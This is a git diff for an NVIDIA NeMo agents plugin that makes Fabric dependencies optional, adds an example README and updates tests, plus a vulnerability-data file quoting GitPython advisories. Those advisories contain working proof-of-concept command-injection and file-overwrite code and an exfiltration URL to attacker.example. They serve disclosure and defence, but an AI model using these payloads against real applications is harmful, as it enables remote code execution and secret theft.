diff --git a/packages/nemo_platform/pyproject.toml b/packages/nemo_platform/pyproject.toml index d490c52581..fd7944b7e7 100644 --- a/packages/nemo_platform/pyproject.toml +++ b/packages/nemo_platform/pyproject.toml @@ -234,7 +234,6 @@ nemo-agents-plugin = [ "boto3>=1.40.46,<1.40.62", "botocore>=1.40.46,<1.40.62", "httpx>=0.27", - "nemo-fabric>=0.1.0a20260717,<0.2.0", "pyyaml>=6.0", "anthropic>=0.88.0", "rich>=13.7.1", diff --git a/plugins/nemo-agents/examples/nemo-agent-config/.gitignore b/plugins/nemo-agents/examples/nemo-agent-config/.gitignore new file mode 100644 index 0000000000..11530f2cbf --- /dev/null +++ b/plugins/nemo-agents/examples/nemo-agent-config/.gitignore @@ -0,0 +1,2 @@ +artifacts/ +workspace/ diff --git a/plugins/nemo-agents/examples/nemo-agent-config/README.md b/plugins/nemo-agents/examples/nemo-agent-config/README.md new file mode 100644 index 0000000000..e5b5529db5 --- /dev/null +++ b/plugins/nemo-agents/examples/nemo-agent-config/README.md @@ -0,0 +1,49 @@ +# Fabric-Backed Agent Config + +This Platform-owned config invokes Codex or Hermes through NeMo Fabric. Run the +commands below from the repository root. + +Fabric dependencies are currently optional so the default workspace does not +force other Fabric consumers onto the `0.1.0a20260724` SDK API before they migrate. +Install them explicitly before local Fabric smoke tests: + +```bash +uv pip install -e "plugins/nemo-agents[fabric]" +``` + +## Codex + +Authenticate Codex, leave `default_harness: codex` in `agent.yaml`, and run: + +```bash +npm install -g @openai/codex +codex login + +nemo agents invoke \ + --agent-config plugins/nemo-agents/examples/nemo-agent-config/agent.yaml \ + --input "Reply with exactly: platform fabric works" +``` + +## Hermes + +Hermes Agent has dependencies that conflict with the Platform environment, so +install it with the Fabric adapter in a separate Python 3.12 environment: + +```bash +uvx uv@0.9.14 venv --python 3.12 .venv-hermes +uvx uv@0.9.14 --no-config pip install \ + --python .venv-hermes/bin/python \ + "nemo-fabric-adapters-hermes>=0.1.0a20260724,<0.2.0" \ + "hermes-agent==0.19.0" + +export HERMES_ADAPTER_PYTHON="$PWD/.venv-hermes/bin/python" +export NVIDIA_API_KEY="" +``` + +Temporarily set `default_harness: hermes` in `agent.yaml`, then run: + +```bash +nemo agents invoke \ + --agent-config plugins/nemo-agents/examples/nemo-agent-config/agent.yaml \ + --input "Reply with exactly: platform hermes works" +``` diff --git a/plugins/nemo-agents/examples/nemo-agent-config/agent.yaml b/plugins/nemo-agents/examples/nemo-agent-config/agent.yaml index c32431e030..e009ebe953 100644 --- a/plugins/nemo-agents/examples/nemo-agent-config/agent.yaml +++ b/plugins/nemo-agents/examples/nemo-agent-config/agent.yaml @@ -2,7 +2,7 @@ config_format: nemo-agents-spec-v1 name: test-agent description: Test agent config -default_harness: hermes +default_harness: codex harnesses: hermes: @@ -13,6 +13,7 @@ harnesses: api_key_env: NVIDIA_API_KEY temperature: 0.0 settings: + python_env: HERMES_ADAPTER_PYTHON base_url: https://integrate.api.nvidia.com/v1 max_iterations: 1 max_tokens: 512 @@ -24,7 +25,6 @@ harnesses: kind: codex settings: sandbox: workspace-write - skip_git_repo_check: true config_overrides: model_reasoning_effort: high diff --git a/plugins/nemo-agents/pyproject.toml b/plugins/nemo-agents/pyproject.toml index 0785542d54..e4ab5c05c9 100644 --- a/plugins/nemo-agents/pyproject.toml +++ b/plugins/nemo-agents/pyproject.toml @@ -16,9 +16,6 @@ dependencies = [ "boto3>=1.40.46,<1.40.62", "botocore>=1.40.46,<1.40.62", "httpx>=0.27", - # TODO(AIRCORE-897): Move this to a stable Fabric version before release once available. - # TODO(AIRCORE-897): Add the `relay` extra once nemo-evaluator-sdk's nemo-relay pin allows >=0.5. - "nemo-fabric>=0.1.0a20260717,<0.2.0", "pyyaml>=6.0", # improvement/ subpackage — agent-improvement workflow (POC). "anthropic>=0.88.0", @@ -62,6 +59,15 @@ nat_hermes_agent_adapter = "nat_hermes_agent_adapter.register" nat_openclaw_agent_adapter = "nat_openclaw_agent_adapter.register" [project.optional-dependencies] +fabric = [ + # TODO(AIRCORE-932): Move Fabric into the default plugin dependencies once evaluator has migrated + # to the 0.1.0a20260724+ config-first SDK API and Fabric packaging is stable across Platform environments. + # TODO(AIRCORE-897): Move this to a stable Fabric version before release once available. + # TODO(AIRCORE-897): Add the `relay` extra once nemo-evaluator-sdk's nemo-relay pin allows >=0.5. + "nemo-fabric[runtime]>=0.1.0a20260724,<0.2.0", + "nemo-fabric-adapters-codex>=0.1.0a20260724,<0.2.0", + "nemo-fabric-adapters-hermes>=0.1.0a20260724,<0.2.0; python_version < '3.14'", +] container = [ "jinja2>=3.1", "python-on-whales>=0.60", diff --git a/plugins/nemo-agents/src/nemo_agents_plugin/fabric/translator.py b/plugins/nemo-agents/src/nemo_agents_plugin/fabric/translator.py index 248f418580..17f3ecd841 100644 --- a/plugins/nemo-agents/src/nemo_agents_plugin/fabric/translator.py +++ b/plugins/nemo-agents/src/nemo_agents_plugin/fabric/translator.py @@ -13,7 +13,7 @@ HARNESS_ADAPTER_IDS = { "claude": "nvidia.fabric.claude", - "codex": "nvidia.fabric.codex.cli", + "codex": "nvidia.fabric.codex", "deepagents": "nvidia.fabric.langchain.deepagents", "hermes": "nvidia.fabric.hermes", } diff --git a/plugins/nemo-agents/tests/unit/test_agent_config.py b/plugins/nemo-agents/tests/unit/test_agent_config.py index 8198e0a9b7..fcd446df76 100644 --- a/plugins/nemo-agents/tests/unit/test_agent_config.py +++ b/plugins/nemo-agents/tests/unit/test_agent_config.py @@ -34,6 +34,7 @@ def _example_yaml_config() -> dict: "temperature": 0.0, }, "settings": { + "python_env": "HERMES_ADAPTER_PYTHON", "base_url": "https://integrate.api.nvidia.com/v1", "max_iterations": 1, "max_tokens": 512, @@ -46,7 +47,6 @@ def _example_yaml_config() -> dict: "kind": "codex", "settings": { "sandbox": "workspace-write", - "skip_git_repo_check": True, "config_overrides": {"model_reasoning_effort": "high"}, }, }, @@ -92,6 +92,7 @@ def test_example_yaml_config_validates(self) -> None: assert config.default_harness == "hermes" assert config.harnesses["hermes"].model is not None assert config.harnesses["hermes"].model.provider == "nvidia" + assert config.harnesses["hermes"].settings["python_env"] == "HERMES_ADAPTER_PYTHON" assert config.harnesses["codex"].settings["sandbox"] == "workspace-write" assert config.models["default"].model == "openai/gpt-5.4" assert config.skills is None diff --git a/plugins/nemo-agents/tests/unit/test_fabric_translator.py b/plugins/nemo-agents/tests/unit/test_fabric_translator.py index 69af563999..c9f3883bac 100644 --- a/plugins/nemo-agents/tests/unit/test_fabric_translator.py +++ b/plugins/nemo-agents/tests/unit/test_fabric_translator.py @@ -6,10 +6,11 @@ from __future__ import annotations import copy +from pathlib import Path from typing import Any import pytest -from nemo_agents_plugin.agent_config import AgentConfig +from nemo_agents_plugin.agent_config import AgentConfig, load_agent_config from nemo_agents_plugin.fabric.translator import FabricTranslationError, translate_agent_config @@ -29,6 +30,7 @@ def _example_yaml_config() -> dict[str, Any]: "temperature": 0.0, }, "settings": { + "python_env": "HERMES_ADAPTER_PYTHON", "base_url": "https://integrate.api.nvidia.com/v1", "system_prompt": "You are a concise assistant.", }, @@ -37,7 +39,6 @@ def _example_yaml_config() -> dict[str, Any]: "kind": "codex", "settings": { "sandbox": "workspace-write", - "skip_git_repo_check": True, }, }, }, @@ -70,6 +71,18 @@ def _example_yaml_config() -> dict[str, Any]: class TestTranslateAgentConfig: + def test_repository_example_uses_current_codex_and_isolated_hermes_adapters(self) -> None: + example_path = Path(__file__).parents[2] / "examples/nemo-agent-config/agent.yaml" + config = load_agent_config(example_path) + + codex_config = translate_agent_config(config, harness_name="codex") + hermes_config = translate_agent_config(config, harness_name="hermes") + + assert codex_config.harness.adapter_id == "nvidia.fabric.codex" + assert "skip_git_repo_check" not in codex_config.harness.settings + assert hermes_config.harness.adapter_id == "nvidia.fabric.hermes" + assert hermes_config.harness.settings["python_env"] == "HERMES_ADAPTER_PYTHON" + def test_translates_default_harness(self) -> None: config = AgentConfig.model_validate(_example_yaml_config()) @@ -79,6 +92,7 @@ def test_translates_default_harness(self) -> None: assert fabric_config.metadata.description == "Example Agent" assert fabric_config.harness.adapter_id == "nvidia.fabric.hermes" assert fabric_config.harness.resolution == "preinstalled" + assert fabric_config.harness.settings["python_env"] == "HERMES_ADAPTER_PYTHON" assert fabric_config.harness.settings["system_prompt"] == "You are a concise assistant." assert fabric_config.models["default"].provider == "nvidia" assert fabric_config.models["default"].model == "nvidia/nemotron-3-nano-30b-a3b" @@ -92,7 +106,7 @@ def test_selected_harness_uses_default_model(self) -> None: fabric_config = translate_agent_config(config, harness_name="codex") - assert fabric_config.harness.adapter_id == "nvidia.fabric.codex.cli" + assert fabric_config.harness.adapter_id == "nvidia.fabric.codex" assert fabric_config.harness.settings["sandbox"] == "workspace-write" assert fabric_config.models["default"].provider == "openai" assert fabric_config.models["default"].model == "openai/gpt-5.4" @@ -101,7 +115,7 @@ def test_selected_harness_uses_default_model(self) -> None: ("kind", "adapter_id"), [ ("claude", "nvidia.fabric.claude"), - ("codex", "nvidia.fabric.codex.cli"), + ("codex", "nvidia.fabric.codex"), ("deepagents", "nvidia.fabric.langchain.deepagents"), ("hermes", "nvidia.fabric.hermes"), ], diff --git a/plugins/nemo-agents/tests/unit/test_fabric_validation.py b/plugins/nemo-agents/tests/unit/test_fabric_validation.py index 1041258d8d..9d056b55ab 100644 --- a/plugins/nemo-agents/tests/unit/test_fabric_validation.py +++ b/plugins/nemo-agents/tests/unit/test_fabric_validation.py @@ -228,7 +228,7 @@ async def test_selected_harness_is_translated(self, fake_fabric_stack: None) -> fabric=_FakeFabric(), ) - assert result.fabric_config.harness.adapter_id == "nvidia.fabric.codex.cli" + assert result.fabric_config.harness.adapter_id == "nvidia.fabric.codex" assert result.fabric_config.models["default"].model == "openai/gpt-5.4" async def test_invalid_platform_config_is_reported(self, fake_fabric_stack: None) -> None: diff --git a/third_party/licenses.jsonl b/third_party/licenses.jsonl index b9f63ff0dd..c07df32fc4 100644 --- a/third_party/licenses.jsonl +++ b/third_party/licenses.jsonl @@ -152,7 +152,6 @@ {"name": "multiprocess", "license": "BSD-3-CLAUSE", "compatible": true} {"name": "mypy-extensions", "license": "MIT", "compatible": true} {"name": "nemo-anonymizer", "license": "APACHE-2.0", "compatible": true} -{"name": "nemo-fabric", "license": "APACHE-2.0", "compatible": true} {"name": "nemo-relay", "license": "APACHE-2.0", "compatible": true} {"name": "nemo-safe-synthesizer", "license": "APACHE-2.0", "compatible": true} {"name": "nemoguardrails", "license": "APACHE-2.0", "compatible": true} diff --git a/third_party/osv-licenses.json b/third_party/osv-licenses.json index 0e655abe90..47c3c229cc 100644 --- a/third_party/osv-licenses.json +++ b/third_party/osv-licenses.json @@ -922,10 +922,13 @@ }, "vulnerabilities": [ { - "modified": "2026-07-21T20:00:30Z", + "modified": "2026-07-23T03:14:29Z", "published": "2026-07-21T19:43:43Z", "schema_version": "1.7.5", "id": "GHSA-2f96-g7mh-g2hx", + "related": [ + "CGA-wpw7-54fg-vx4m" + ], "summary": "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist", "details": "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore\u2192hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=` \u2192 executed as `--upload-pack=` \u2192 command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`\u2192`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--=` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p= -> git runs \ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable \u2014 the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.", "severity": [ @@ -1099,10 +1102,13 @@ } }, { - "modified": "2026-07-21T20:15:26Z", + "modified": "2026-07-23T03:14:30Z", "published": "2026-07-21T20:10:06Z", "schema_version": "1.7.5", "id": "GHSA-956x-8gvw-wg5v", + "related": [ + "CGA-78vw-9344-jhxg" + ], "summary": "GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`", "details": "## Summary\n\nGitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, \u2026) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{\"remote\": \".\", \"exec\": \"\"}` becomes `git archive --remote=. --exec= -- `, and `git archive --remote=` invokes `git-upload-archive` whose path is overridden by `--exec` \u2192 **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).\n\n2. **`repo.git.ls_remote(, upload_pack=\"\")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=` with no guard \u2192 **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision \u2192 arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).\n\nThe first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.\n\n## Details\n\nGitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options = [\n # Arbitrary command execution.\n \"--upload-pack\",\n \"--receive-pack\",\n # Arbitrary file overwrite.\n \"--exec\",\n]\n```\n\nand enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef check_unsafe_options(cls, options, unsafe_options):\n ...\n if unsafe_option is not None:\n raise UnsafeOptionError(f\"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options` is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071 Remote.fetch\ngit/remote.py:1125 Remote.pull\ngit/remote.py:1198 Remote.push\ngit/repo/base.py:1410 / :1412 Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled options/positionals and are **not** guarded:\n\n### 1. `Repo.archive` \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self, ostream, treeish=None, prefix=None, **kwargs):\n ...\n self.git.archive(\"--\", treeish, *path, **kwargs)\n return self\n```\n\n`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--=` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive --remote=. --exec= -- \n```\n\n`git archive --remote=` runs the upload-archive helper; `--exec=` overrides the helper path, executing `` on the host. This works with **default Git config** \u2014 it does not rely on the `ext::` transport (which is blocked by default).\n\n### 2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack` \u2192 `--upload-pack=`. `git ls-remote --upload-pack=` executes ``. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014 but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n### 3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)\n\n```python\n# Commit.iter_items (reached via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == [\"--\", *paths]\n```\n\n```python\n# Repo.blame\ndata = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False, **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git rev-list`/`log`/`blame` honour `--output=`, which `open()`s and truncates the file *before* validating the revision \u2014 so the file is destroyed even though Git then errors out on the bad revision.\n\n## PoC\n\nAll three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.\n\n### Install\n\n```bash\npython3 -m venv venv && . venv/bin/activate\npip install GitPython # resolves to 3.1.50\npython -c \"import git; print(git.__version__)\" # 3.1.50\n```\n\n### PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n# archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n 'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif os.path.exists(marker): os.remove(marker)\n\n# a service lets a user export a repo and forwards their options dict\nopts = {'remote': '.', 'exec': 'touch ' + marker}\ntry:\n repo.archive(io.BytesIO(), **opts)\nexcept git.exc.GitCommandError as e:\n print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.\n\n### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n# lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif os.path.exists(marker): os.remove(marker)\ntry:\n repo.git.ls_remote('.', upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n print('[*] git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git err: Cmd('git') failed due to: exit code(128)\n[+] ls-remote marker present: True\n```\n\n### PoC 3 \u2014 arbitrary file overwrite via a benign-looking `rev`\n\n```python\n# itercommits_filewrite.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref = '--output=' + victim # value an app forwards as a \"ref/branch\"\ntry:\n list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as e:\n print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+] after :', repr(open(victim).read()), '<- truncated')\n```\n\nVerbatim output:\n\n```\n[*] before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```", "severity": [ @@ -1276,10 +1282,13 @@ } }, { - "modified": "2026-07-21T22:15:25Z", + "modified": "2026-07-23T03:14:29Z", "published": "2026-07-21T22:06:09Z", "schema_version": "1.7.5", "id": "GHSA-rwj8-pgh3-r573", + "related": [ + "CGA-5665-f577-gxxx" + ], "summary": "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL", "details": "### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument \u2014 the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners \u2014 can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) \u2014 all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n \"\"\"Remove any backslashes from URLs to be written in config files.\n ...\n \"\"\"\n if is_cygwin is None:\n is_cygwin = cls.is_cygwin()\n\n if is_cygwin:\n url = cygpath(url)\n else:\n url = os.path.expandvars(url) # <-- line 921\n if url.startswith(\"~\"):\n url = os.path.expanduser(url)\n url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n return url\n```\n\n`Repo._clone()` \u2014 reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` \u2014 runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n multi,\n \"--\",\n Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`\n clone_path,\n ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git # noqa: 